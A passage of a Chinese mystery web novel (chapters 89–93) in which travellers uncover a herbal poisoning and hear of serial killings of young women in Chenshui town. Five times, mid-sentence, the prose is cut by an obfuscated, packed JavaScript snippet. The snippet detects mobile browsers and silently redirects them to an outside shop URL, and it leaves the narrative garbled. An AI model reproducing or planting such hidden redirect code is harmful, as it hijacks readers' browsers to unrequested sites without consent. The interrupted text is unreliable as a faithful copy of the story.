再偷偷瞧了眼姜小四仿佛能看透人心的白瞳,和长相出众的冷萤与珊瑚,最后将目光移至五官硬朗,瞧起来最是正派的方骅身上,问道:“你们……是人是妖?” “你才是妖呢……”珊瑚一听便炸了毛,抬脚就想走过去说他说道说道,被冷萤控制在了原地,才又不甘心大喊:“你见过妖白日出来做善事的吗?啊?” “善事?”摊主一听几人不是妖,胆子便大了:“哪家做善事的一上来就掀人摊子的?” 见珊瑚又要动怒,方才还在比谁声音大的摊主,立马软下身姿,表情忿忿不平地从怀里拿出木壶,交给他面前的姜小四,“给给给,要是这茶壶里的水没问题,你们可要记得赔我银子。” “那是自然。”见摊主退了一步,冷萤立即表明态度。 接过茶壶的少年,先是倒了点茶壶里的水放在手背上闻了闻,随后揭开茶壶盖往里瞅了眼。 “怎么样?”珊瑚心急,凑过来没多久就着急问道。 手指顺着壶上的木纹慢慢摩擦,在捧着整个壶身嗅了嗅后,姜小四才将被他摸了个遍的茶壶还给摊主。 摊主接过茶壶,又宝贝似的用胳膊圈起,嘴里嘀咕道:“我说没下毒吧,你们得赔我银子。” “你闭嘴!”珊瑚白了他一眼。 “怎么说?”冷萤问姜小四。 少年看了眼树下躺着的紫衣公子,随后收回目光。 (老板的井水没问题,有问题的是这个公子。不过……) “不过什么?”方骅追问。 少年并未回答方骅,反而转身“问”起摊主。 (请问,这茶壶是在哪里买的?) 摊主结结巴巴答道:“怎……怎么了?你们别想买来抢我生意啊,全沉水镇就这么一个宝贝茶壶,再也没有一模一样的了。” 第八十九章 引香坊 “我们只是路过沉香镇,并不会停留很长时间,不会与您抢生意的。”冷萤替姜小四解释。 “真……真的吗?”摊主将信将疑地看着她。 直到冷萤真的掏出银子赔偿了他的损失,他这才喜笑颜开地接过,乐呵呵道:“这……这位贵人好大方啊,肯定不会与我们抢生意的。” 随后不再隐瞒,大方告知:“我就是找镇上‘引香坊’的老板娘买的,她家里用香料与香木做的东西可多了。有些贵价的,上面还镶着好些五光十色的东西,让人看也看不懂。” “镶着五光十色的东西?”冷萤微微一愣,随即浅笑:“那我倒要去好好瞧上一眼了。” 收到银子的摊主大手一挥,对那些看热闹的乡民们喊了句:“都回去吧,明日再来!今日摊子都没了,卖不了了嗷。” 乡民见状,一哄而散,全都跟着摊主离开了这晨。独留下被珊瑚劈成两半的摊架,与一块写着“宁心安神,祛邪提气”的木板。 与此同时,靠在树下的紫衣公子“哼唧”一声,慢慢醒了过来。 几人走上前,见他似乎已无大碍,便由冷萤开口问道:“公子感觉如何?” 紫衣公子下意识抬手摸了摸唇角,眼神里带着些许迷茫。他看着手指上干涸的血痂,顿时想起来方才发生了什么。 “这……我……人呢?”他瞧了瞧自己,又看向方才卖沉香饮的小摊,见那里此时空无一人,不由自主地发出疑问。 姜小四主动走上前,替他把脉。见对方已无大碍,才抬手问他。 (公子最近有没有接触过黎芦?) “黎芦?”紫衣公子坐直身体,略带疑惑地问道:“是什么?” “对啊,黎芦是什么东西?”珊瑚也在一旁悄悄问冷萤。 她方才怪错了人,误会了摊主,这时似乎是知道错了,一下老实了许多。 “一种药材。”冷萤朝她解释后,又帮姜小四问出了他的疑惑:“这种药材需经过处理方可使用,公子为何会接触到这类药材,家中是开医馆的吗?” 冷萤会知道这些,也多亏她自小爱看杂书的原因。 姜小四见她说出自己想问的,连连点头将目光转向紫衣男子。 “这……我真的不知啊。何况,在下最近身体并无任何不适,无须用到药材这类的东西。”紫衣公子老实回答。 (公子家中最近可有蚊虫鼠蚁?) “蚊虫鼠……”紫衣男子站起身仔细想了想,随即一拍掌道:“这还真有!我最近住的客栈里有老鼠,掌柜的知道后,给我一根须子让我放在房中,老鼠便再也没进来过了。” (那便是了。) “你的意思是,方才这位公子中毒,与掌柜的给的那根须子有关?”方骅对此类事情格外敏感,见状不对立即问道。 (摊主的沉香饮无毒,掌柜的给的藜芦根须不大量服用也无毒。但两者结合在一起,便有毒。) 直到这时,几人总算明白,为何人人饮了那茶壶的水都没事,偏偏就紫衣公子出了问题。 “可我也没直接吃那藜芦根啊,只是用来摆在房中驱鼠而已。”紫衣公子的表情,似乎很是不明白。 姜小四抬头瞧了眼湿漉漉的天空。 (或许是因为落雨,那根须浸泡后毒素挥发出,恰巧沾染到你的常用之物。) 紫衣公子想了想,随即恍然大悟:“昨夜还真落了一小会儿雨,这位小公子果真料事如神。” 他的一句话,直说的姜小四害羞地连连后退,待退到冷萤身后,才又急切地摆了摆手。 拍完姜小四的马屁,已经全然好起来的紫衣公子,微微鞠躬作揖:“在下广元人士,姓凌名风。方才多谢各位侠士出手相助,特别是这位小公子,能允许在下备薄酒一杯,聊表谢意否?” 冷萤几人,也同样礼貌地自我介绍。 须臾…… 方骅暼了眼姜小四不太情愿的模样,替他开口拒绝:“凌公子对不住。我们初来沉香镇,还未找到落脚之处,你的心意我们心领了。” 他委婉地拒绝了对方的邀约后,明显察觉到冷萤身后的姜小四暗自松了口气。 珊瑚则悄声问姜小四:“有人设宴这等好事,你到底在怕什么?” 对方瞧了她一眼,身体离她远了些,低头不理她。 “只知道对我凶,哼!”珊瑚暗自哼了句,抱臂生闷气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547081|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那凌公子,我们便告辞了。”冷萤上前,微微福身告别。 “喂……”凌风想留住他们,奈何那几人走得实在太快了。 特别是那白发的小公子,一双脚就像上了轮子一样快。 直到再也瞧不见那热情过度的凌风后,几人才缓下脚步,寻找摊主所说的“引香坊”。 珊瑚啃着炊饼,见街道旁店铺都没几家,人影更是没几个。 照理说,此时应是集市上最热闹时,可这街面上加起来的人,还没有人沉香饮摊主一家的顾客多。 “这真是镇上最热闹的地方?”她将最后一口炊饼送进嘴里,很是疑惑地朝冷萤问道。 冷萤抬眼,瞧着时时弥漫在上空的云迷雾锁,也暗觉这沉水 镇是否也太过萧条了些。照这样下去,压根没有生意人愿意长期待在这镇子里。 这沉水镇……当真盛产香料吗? 她怎么一点也瞧不出,这里有任何货殖流通的热闹场景? 仿佛是瞧出了她的疑惑,方骅走到她身边,细声与她解释:“这里商贾往来大多在夜里,所以白日基本是关着门在家中休息。” 原来如此,看来陈全已将提前打探好的消息汇报给他了。 听罢,她暗自感叹,果然每地风俗都不一样。一路走来,她也学到了不少与陵县不一样的风俗人情。 袖口动了却,是姜小四。冷萤侧头,顺着他手指的方向看过去。 这沉水镇白日本就清冷,一眼望过去,每家店铺似乎都是大门紧闭。即便有几家开着的,也都是客栈与食馆,外表看上去都是大差不差的模样。 唯独姜小四手指的那一家,瞧起来有些格格不入之态。 吸引住他们目光的那家店铺,隐蔽在浓浓的雾色后,门口并未像其他开张的店家一样,打开所有大门迎客。 而是半敞着木门,要开不开的样子,只在木门旁开了一扇小窗。 小窗被叉竿撑起一半,里面时不时还“溜”出一截木槿色窗纱,勾引着众人进去。 “引……香……坊。” 珊瑚眯着眼,嘴里念着店铺门边竖着的招牌上,用绛紫色大漆写下的店名。 第九十章 莲花手菩萨像 透过薄雾瞧过去,那家店铺比之一旁的那几家,要显得格外神秘些。 “怎么感觉这家店阴森森的,店名也有些不吉利。冷姐姐,我们真要进去吗?”珊瑚夸张地打了个冷颤,转身问冷萤。 冷萤简洁道:“要进去的。” 珊瑚听罢,一点点蹭过来,甩着她的手道:“那里面要是有危险,冷姐姐可记得要保护我哟。” “你和只猢狲一样,还需要别人保护?”方骅惯常在旁冷言冷语。 珊瑚此时心情好,懒得与他计较,哼着歌率先转身朝引香坊走去。 姜小四则细细闻着那店里飘出的气味,一缕缕……只有他闻得到,有别于弥漫在整个沉水镇上空的气味。 他无法形容自己闻到的是什么,如果非要有个结果,则需得离那家铺子更近一些才行。 于是,见珊瑚过去,他也二话不说跟了上去。 珊瑚走到铺子门口停下,抬手有礼地敲了敲关着的半扇门。 里面传来细软女声:“请进……” 见门内的人许可,她先是探了半边脑袋进去。谁知还没看到什么了,一缕木槿色的窗纱便调皮地盖住了她的双眼。 烦躁地扯下窗纱,珊瑚也不再客气,径直转过身挽起冷萤走进了这家引香坊。 本以为,沉水镇上空的雾气比起别处,已经算是浓厚了。 当他们走进引香坊后,里面弥漫的香雾让除了姜小四的另外三人,一下又一下地打起了喷嚏。 “阿嚏……这里面是什么味道啊,熏得我眼睛疼。”珊瑚实在忍不住想打喷嚏的冲动,边打还不忘吐槽几句。 冷萤也紧皱眉头,试图从浓浓的香雾中看清店里的布局。 她上一次见着这般迷离的场景,还是在聆音阁。 想到这里,她担心地往后瞧了眼方骅,恰巧对方的眼睛也一直盯在她身上,她这才又放心地将目光转向前方。 姜小四默默跟在她的身边,抬手不知洒了些什么粉末,随即冷萤眼前的雾气便稍稍消散了些。 “小公子这样的做法,怕不是有些喧宾夺主了吧?” 软绵绵地嗓音再次响起,想来出声之人应是这引香坊的店主了。 冷萤忍着喉间的痒意,在瞧清里面的一抹凝夜紫身影后,开口礼貌问道:“姑娘可是引香坊的店主?冷萤与友人行经此处咳咳……见此店颇具匠心欲进门一观,若是有所打扰,还望姑娘见谅。” 话音刚落下,角落处暗色的紫影微微一动。几人此时明明身在暗室,却感觉有缕轻风拂过颊侧,随即眼前豁然开朗。 紫影主人慢慢自角落处走出,几人这才发现,她方才是依偎在一张贵妃椅上。 那贵妃椅用沉香木制作而成,倒是不足为奇。只是在贵妃椅旁边,放着一尊莲花手菩萨像。 菩萨像通体用红漆髹涂,右手施与愿印,左手牵着一枝五彩莲花。 菩萨像的后方,有一只凤鸟展翅欲飞,却又垂脖侧头。 制作这尊菩萨像的匠师精巧之处便在于此。 只见,那凤鸟侧头时,尖锐的喙正巧搭在莲花的莲芯上,颇有些点睛之妙。 更让冷萤看得目不转睛的,便是这菩萨像除了通体髹上红漆外,上面所有的点缀之物,包括那只五彩莲花与身后的凤鸟,皆是用螺钿镶嵌而成。 朱红色的大漆,配以五彩螺钿,再加上凤鸟眼珠上的黑曜石。让整座菩萨像看起来既庄严又生动。 冷萤私心还觉着,自缠绕的香雾中瞧过去,那莲花手菩萨,在庄严中或许还带着一丝悲悯之意。 “也不知是哪位名匠,能造出如此鬼斧神工之作。”她忍不住叹了句,目光被彻底吸引住。 紫影女子步伐轻盈,明明室内无风,走动时身上的烟紫色轻纱却随在身后萦萦绕绕。 若是有人贸然闯入此店,乍一眼看到这场景,定会以为是菩萨身边的捧香女下凡了。 “引香坊店主陆引,多谢姑娘谬赞。看来……姑娘也是懂行之人。”店主的身姿与她说话的音调一样,无论何时皆是软绵绵的。 她慵懒地走至香案后,朝桌上的麒麟博山炉里放入香灰慢慢捣松。 待几人自我介绍后,她稍稍坐直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547082|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身体,又慢慢靠至一旁,“几位香客前来,是为何事?”她边说,边拿出香炭放至香炉上慢慢烧至泛白。 见她开门见山,冷萤自然也不再客气寒暄,开口问道:“沉香饮摊子上的那把木壶,可是出自陆掌柜之手?” “是的。”陆引打开身后的抽屉挑选香材,随意回道:“那又如何?” 对啊,那又如何? 冷萤被她问愣在原地,急忙对身边的姜小四道:“要不,你自己同她讲?” 香药这事,她也是门外汉,生怕替他传错了话。 姜小四点点头,抬手。 (为何要卖次等腐朽香木给那摊主?你明明知道,熟速的水盘头不能入药。) 陆引左手撑颊,右手熟练地调整炉内的云母片,看了那句话轻笑一声道:“喝了又不会中毒,他非是要……我便也只能卖给他喽。” (你这是在欺客。那家小摊每日排队之人何其多,万一 有人误食了相克的药材,是会出事的。) 香已调好,陆引将香炉朝冷萤他们身前推了推,又被姜小四一把推了回去。 陆引也不生气,身子歪歪倒倒地靠在桌旁,说道:“小公子可真好玩,人家要买我愿卖,关你何事?你自己日日这般糟蹋药粉,怎的还管起了旁人?” 姜小四被她堵着半天没抬手,再次抬手时,直接一把药粉洒在陆引调了半天的香炉上,气得她一下坐直了身体。 (你这样是不对的!) “你这样就对了?干吗灭了我的香?”她即便生气,嗓音照样也提不起来。 (这香闻了会致幻,你到底想对我们做什么?) “呃……被发现了啊。那个,小公子也是懂行之人哈……”本来被气到坐直身子的人,神色瞬间不自然了起来,整个身子随即心虚地慢慢缩下去。 另外几人一听,顿时警觉。 原本已经被邀请坐下,安静听他们讲话的方骅和珊瑚,同时站起了身。 冷萤则是收回方才一直偷瞧菩萨像的目光,转过脸看着陆引严肃问道:“姑娘这是什么意思?” 第九十一章 只剩一张皮 陆引似乎还未意识到事情的严重性。 她方才自暗处走来同几人说话时,便一直未拿正眼瞧过他们。 直到冷萤开口,她才终于支起脑袋,两人彻底对上了眼。 对上目光的一刹那,她的眸光闪了闪。 这位自称冷萤的女子,眸间的光太过澄澈逼人,让原本斜坐着的陆引,不由自主地放下支着脑袋的手,身体也慢慢支棱起来。 对视片刻,还是陆引败下阵来。 她掩饰般轻笑一声:“呵……不过是方才拿错了香材,姑娘缘何这般紧张?” 她的话,冷萤当然不会信。 见眼前的女子垂下眼帘,不再与自己有任何眼神接触,她神色未变开口:“说到紧张。陆掌柜刚与我们见上一面,便‘不小心’拿错了香材,难道也是因为紧张的缘故?” 宛如被说中心思一般,陆引把玩莲座香插的手,不经意地停顿一瞬,随即才又恢复正常。 但即便是一瞬,也被冷萤给捕捉到了。 珊瑚知冷萤心中已有想法,虽蓄势待发地站在她的身后,倒也没有如往常一样冲动。 她倒要看看,这个长得像猫妖一般的女子,此时要如何收场。 陆引当然不会笨到直面冷萤的怀疑,而是慢慢抬起眼皮,看向冷萤背后。 站在冷萤身后的方骅身姿如松,五官浓郁如山水画,一笔一捺瞧着皆是风骨。 “这位公子身姿不凡,不知年岁何几,家中可有妻儿?” 听了她的问话,冷萤反倒是会心一笑。她心想:这陆掌柜心思倒算灵活,一招声东击西信手拈来,半点都不含糊。 可惜,她选错了人。 方骅动也未动,站在冷萤身后冷笑一声:“好好回答她的问话,否则你这家店怕是要保不住了。” 冷言冷语,实在骇人。 但陆引好似屏蔽了他话中的威胁,专挑自己想听的。她身体无骨,双手撑着桌台缓缓站起身。 在她动作极慢地站定,再次将目光移至方骅身上时,珊瑚的手已经蠢蠢欲动好几次了。 陆引微微一笑:“这才刚见面,公子就如此关心我店铺的经营之况,小女子实在有些受不起呢。” 姜小四站在一旁,以最快的速度侧头朝方骅看去。 果然,他看见方骅侧脸处仿若有暗流涌动,时不时还爆出几根青筋,心里暗叫不妙。 好在此时,冷萤开了口:“陆掌柜往常都是夜里开门做生意,今日青天白日也开了门,怕不就是……在等我们吧?” 姜小四转回目光前,见方骅的脸侧总归是平整了些。 陆引的目光,终于再次回到冷萤身上。 她微微讶异:“你怎知……”她一直都是夜里做生意的。 冷萤也不卖关子,开口:“店门招牌的暗漆上洒有夜光粉,虽白日瞧不出什么,夜里却能散出荧光,吸引来人目光。还有店内……” 有些紧张地打断她的话,陆引问道:“店内又怎么?” “烛台绕着店内放了整整一圈,陆掌如此风雅的一个人,怎么允许如此平常之物布满了整个店面?”冷萤并未受其打扰,坚持说完后才停下。 她的话,似乎有些打击到陆引了。 即便方才被姜小四发现有小动作,她都未曾锁过眉。此时不知为何,竟紧紧皱起了眉头,倾身朝冷萤问道:“很丑吗?” 这三个字被她一问出,不光是冷萤,在场所有人全都微微愣住了。 冷萤不懂:“什么意思?” “我是问……”陆引似乎很在意她的回答,再次急切道:“我的意思是,你觉得我烛台的布置很丑吗?” 冷萤的答案,似乎对她很重要。 “丑。”虽然不懂她为何如此在意,但冷萤还是老实答道。 “我就知道……”得到答案的陆引,仿若失去了所有力气又跌坐回案前,“那个王八蛋,他居然敢骗我!” “你自己不会看吗?”珊瑚实在忍不住了,她觉得这陆掌柜瞧起来比她还不靠谱。 人好好说着事呢,她在这里提什么手帕交才会问的问题? 陆引即便情绪激动,声量也没法变大:“我夜里开店会害怕啊。真是……除了沉香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547083|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇这个奇葩规矩,谁家好人夜里开店?” 她到底在说什么? 几人一脸懵…… 率先反应过来的冷萤,试探性问了句:“既然怕,为何还非要大半夜来做生意?” 对方投来看傻子一样的目光,懒懒回她:“若是白日有生意做,谁会大半夜选择不睡觉,跑出来围着这店铺撒疯?” 所以,她方才的举动…… “你对我们偷偷使幻香,与这件事有关?”冷萤方才一直想不透的事,这时似乎明白了些。 “嗯啊……”心思还放在烛台上的陆引,随意应了声。 继而见对面几人皆是一脸不明看着自己,她才又认真解释:“这段时日沉水镇总是夜里莫名死人,巡检大哥见我一个女子,让我这几日干脆白日开门,赚几个买香材的子儿算了。” 冷萤问:“所以,你怀疑我们是凶手?” 陆引点头:“一般来做生意的商 人都知道沉香镇的规矩。你们既不是沉香镇的乡民,又不懂做生意的规矩。难道,我不该怀疑一下你们吗?” 她说的……好像也没错。 “夜里莫名死人?”方骅抓住了陆引方才话里的重点。 陆引点点头,不动声色地打量眼前的几人。 方骅又问:“难道无人去查吗?” “查啊,不是没查到嘛,所以现下沉香镇人心惶惶。不然那沉香饮的摊主,为何光打着‘驱邪’的招牌,便日日有人去那排队。我都后悔将那壶胚子卖他了,现下他生意是好了,我这边倒是亏大发了。”陆引很是不满,说着说着又歪了重点。 “没查到?那些人死前什么样?”珊瑚忍不住了,开口问道。 提到这个,陆引脸色明显不好了。 她努努嘴,似乎很不情愿提起这事:“听说凶手专杀未婚女子。那些女子死状极其凄惨,全身的血液被抽干不说。而且……” 方骅追问:“而且什么?麻烦陆掌柜说清楚。” “而且……”陆引深吸一口气,目光直直地看向方骅道:“被发现时,全都只剩下了一张皮……” 第九十二章 栈香铺 细软无力的嗓音,如迷雾游荡在整座引香坊,随之钻入每个人耳中。 即便此时是青天白日,冷萤也感到四周的温度在慢慢下降。 她开口问道:“你的意思是,凶手杀掉那几名女子后,将她们整个身体的血液抽干,导致尸体看起来,就像是只有一层人皮裹在骨架上?” “真是禽兽不如!”珊瑚骂道。 陆引的表情明显也想骂一句,但还是忍了下来,继而老实答道:“巡检大哥说,凶手白日会出门锁定目标,待夜里所有人都忙着做生意时,再趁机下手。” 知道前因后果后,冷萤身为女子,有些懂了陆引方才为何会对他们如此防备。 她大约是见店里白日突然有人进入,来人从未见过也不像是生意人,所以才心生怀疑,想迷了他们问出来意。 万一他们真是那杀人放血的恶魔,她也能趁幻香未散逃出,找人将他们一举拿下。 想到这里,冷萤心生愧疚:“真是对不住,我们初来乍到不了解沉水镇的规矩,吓到你了陆掌柜。” “没……没事啦,我也是反应有些过度了。”陆引一甩手,见冷萤如此诚恳道歉,她反倒有些不自在了。 见误会解开,几人又重新坐了下来。 方骅详细问道:“这事大概发生有多久了,目前有几人受害?” 陆引想了想,答道:“大概半月前发现了第一具尸体。至今……已有三人受害了。” 意思是,这个凶手五日左右便会出来犯一次案。 他又问:“距离上次发现尸体,过去了几日?” “我来算算……”陆引扳着手指算了算,随即动作越来越缓慢:“算上今日,便是第五日了。” “什么?”珊瑚惊讶。 “照这个规律,如果凶手会继续犯案,或许今夜便会再找无辜女子下手。”冷萤猜测。 当然,她希望自己猜错了。 “可是……凶手会对谁下手呢?”陆引问出了自己最关心的问题。 是啊…… 沉水镇虽小,但未婚女子也不是一双手便能数清的。如果想找出凶手下一个可能会动手的对象,无疑如大海捞针。 “不如……”陆引想到了一件事,“你们去‘栈香铺’打听一下。上一个被杀的女子,便是他二弟家的幺女。死得可惨了,你们打听的时候语气记得委婉些。” 冷萤点头,表示明白。 走出引香坊,出了门,几人再次看向沉水镇那缥缈朦胧的上空时,心情比来时要沉重不少。 他们明明是为了上一桩案子来到此地。 没承想,上个案子的线索还未找到,居然又让他们发现这里出了杀人恶魔。 既然知道了这件事,特别是还有方骅跟着,他们一定不会坐视不管的。 故而,冷萤问道:“先去栈香铺,还是先找客栈?” 姜小四抬手,正想告诉他们什么,随即又缩回了手。 他看向一旁泥地,徒手从里面抓出一把泥,用双手搓了搓,待搓均了些便轻轻一挥。 (香铺开门可能会晚一些。) 他别扭的动作,引来了珊瑚的狂笑:“哈哈哈姜小四,你还真把那女人的话记在心里了?你可别笑死我了你……”说完,又是一阵狂笑。 被她笑得尴尬地搓着手上的泥,脸皮顿时变得绯红的姜小四,只能无助地望着冷萤,仿佛在说:你看,她又欺负我。 冷萤无奈地看着他俩,从包里掏出一袋自己研磨的边角料,这些料子无法直接用来装饰,丢掉又实在可惜,现下正好派上了用场。 “用完了再同我说。”冷萤将那袋东西塞进姜小四的手中,嘱咐他。 (我可以用木棍。) 冷萤柔柔一笑:“你瞧,这不是用得挺顺手?弯腰书写不方便,长期下去会变驼背。”她吓他。 果然,姜小四一听便乖乖将那袋粉末放进自己包包里,随后感激地对她点点头。 “既然这样,那先把行李放进客栈后再去香铺吧。”方骅对几人道。 他们并未走多久的路,便来到陈全为他们提前找好的客栈前。 虽说此地还是有好些店没开门,但或许是借了客栈的风,门口卖吃食的小吃摊却不少。 珊瑚还未进客栈,便已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547084|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走不动道了。 她瞧见一家卖“香薷饮”的小摊子,忙拉着冷萤跑过去,让摊主给她们做几杯。 方骅与姜小四接过珊瑚扔来的行李,面面相觑傻傻地站在客栈门口等她俩。 不一会儿,那两人便小心翼翼地,一人端着两杯香薷饮朝他们走来。 姜小四很是机灵,见冷萤双手端着饮子不方便,便快步跑上前去帮忙。 见他过来,冷萤顺势将其中一杯递给他喝。这样,珊瑚的另外一杯无疑是要分给方骅了。 谁知,方骅却板着脸不肯接:“不要,谢谢。” 珊瑚拿着其中一杯一饮而尽,夸张地“叹”了声,才甩给他一个白眼道:“爱饮不饮,不饮我正好来两杯。”说完,便抬手准备将另外一杯也喝了。 就在这时…… 一个人突然自她身后撞来,将她正要喝下的香薷饮 撞翻在地。 珊瑚低头,见明明即将进嘴的香薷饮,就这么赤裸裸地被人打翻在地,可惜地气急败坏转过身骂道:“谁啊,走路不看路啊……” “对不住,对不住啊姑……”撞人者还未站稳,就一个劲地开始道歉。 一个骂骂咧咧,一个急忙道歉。两人一抬头,双眼同时圆睁。 “凌公子?” “珊瑚姑娘?” 原来是认识的人,这下珊瑚气倒是消了,只是瞧着地上的饮子有些心疼。 冷萤上前打招呼:“凌公子好巧!” “确实好巧,你们也来住店吗?”凌风笑着回应,同时对她身后的方骅与姜小四点头致意。 冷萤微笑点头。 “看来我们是真有缘,这不马上就要用饭了,不如一起?”凌风还记挂着姜小四救他一命的恩情。 这个恩情,若是还不让他还,这人怕是要一直记在心上了。 冷萤转头瞧另外三人,见他们并没有不愿意,就连姜小四也轻轻点了点头。 凌风显然比他们几人都要了解沉水镇,不如便趁这次机会,向他打听一下最近发生的事情。 于是,她点头同意:“那便麻烦凌公子了。” 第九十三章 莲花香插 他们与凌风歇脚的客栈,叫“万安客栈”。 万安客栈里的住客不多,凌风便顺势在楼下点了一桌好菜,用来招待他们。 珊瑚如往常一般,菜一上桌便埋头苦干。 姜小四没什么胃口,但还是乖乖坐在冷萤身边,时不时就近夹几口菜放进嘴里。 应酬之事,便全然交给了方骅与冷萤。 “多谢凌公子款待。”冷萤与方骅同举杯,以示感谢。 一杯过后,凌风才对几人道:“我本是云游商人,听人说沉水镇的沉香乃是上品,想着来拿点货便离开。谁知一来才发现,此地可真是香料商人的宝地。这不……住下月余了,还没舍得走。” 他吃饭间隙,说着自己到沉水镇的目的,时不时还夹两口菜放到嘴里,俨然一副闲谈的姿态。 尔后,他起身给几人倒了酒,坐下随意问道:“你们呢?” 冷萤自然不能同他说明几人到沉水镇的真实目的,便只说好友一同游历,见此处风景独好,所以才想着留下来歇几日再重新出发。 “风景独好?倒也是……”凌风认真听着,在冷萤说到这四个字时,眉头轻挑了下。 方骅停筷,耐心等他说下去。 他有预感,这凌风接下来说的,应当就是他们想要知道的。 果不其然,凌风“漬”了一小口酒,复又道:“不过那是半月前的风景。现在的整个沉水镇,连空气中都弥漫着血腥与恐惧。” 冷萤开口:“喔,怎么说?” “你们没听说吗?”凌风放下酒杯,声音极小地对他们道:“沉水镇最近出了个杀人狂魔。专杀少女,割喉放血,甚是可怕呢……” 他的一句话,让埋头苦吃的珊瑚,神游天外的姜小四,全都刹那回过了神。 珊瑚死命咽下嘴里食物,喝了口水顺了顺,急忙开口问道:“你怎么知道?莫不是瞧见过凶手?” “当然不是?”凌风当即否认:“若我真见过凶手,现下还能好好与你们同坐一桌吃饭?不过……凶手大概也不会对我下手。” 方骅开口:“因为你不是凶手的目标。” 凌风点头:“对!我感觉这凶手就是个变态采花贼,犯了色心后再将人残忍杀害。只是一刀解决并不能满足他的变态心思,所以才选择将人血放干这种方式。” 冷萤问:“你怎么知道得这么清楚?”她不是怀疑对方,是真的有些好奇。 听她这样问,凌风更来劲了。 他凑近冷萤与方骅,一手放在唇边格外神秘道:“我上次去赶集时,路过一家专卖香插的小摊。听见那摊主同自己媳妇说,自从那个杀人犯出现后,他家隔个几日,总要丢失一个香插。” “香插?什么样的?”冷萤问道。 “我也问了与你同样的问题,结果那摊主告诉我,他家不见的都是同一种香插。”凌风答道。 她追问:“哪一种?” 凌风用手比了比大小,有差不多碗口那般大,随后道:“就像这样大的莲花座香插。” 莲花座模样的……香插? 冷萤心里暗想:自己是不是……在哪里瞧见过他说的那种香插?只是……在哪里呢? 她一时,竟有些想不起来了。 珊瑚暗骂了一句,打断冷萤的思绪,朝凌风问道:“那个死变态偷这个干什么?” 凌风被她吓得一跳,回过神后摇了摇头:“那在下就不知道了。只是听说,每次发现被害人时,尸体的旁边……总是放着一个插上线香的莲花座香插。” 这么诡异?冷萤只感觉后背突然窜出一阵凉意。她越发觉得,这凶手似乎在进行一种奇怪的仪式。 “这里有没有什么祭祀,或是节日祭典,需要用到莲花座?”想到这里,她忙问道。 凌风一脸不解地看向她,瞧他这个表情应该是不知道了。 也是…… 像这种风俗人情,他们大概还是得问本地人才是。 方骅似乎知道她心里所想,随手招来一个伙计,礼貌问道:“小二哥,请问你们这里有没有什么节日祭典,需要用到莲花这类的东西?” “莲花?是池子里的莲花吗?”伙计认真想了想,最后干脆摇了摇头:“没有。” 他点头:“多谢。” “连本地人都不知道,那应该是凶手自己喜欢莲花,随手挑选了这个样式的香插吧?”凑风猜测。 “咦惹……”珊瑚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547085|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假装作呕,嫌弃道:“莲花要被这种人喜欢,真是感觉糟透了。” 冷萤则暗自思忖:难道真的只是凶手自己喜欢?她怎么越听越有种阴冷的不适感。 一个凶手在作案时,固执地将一个不算小,也并不方便携带的东西带在身上。 犯案后,还要将这东西诡异地留在案发现场,必然不会只是“喜欢”这么简单。 “应该不是我们想得这么简单。”方骅说出了她的想法。 凌风不解问道:“那是什么?” “目前还说不上来,我们对这案子的了解太少了。”方骅边想边说:“待夜色暗下来后,凌公子可以带我们去那家卖香插的摊子上瞧瞧吗?” “那自然是没问 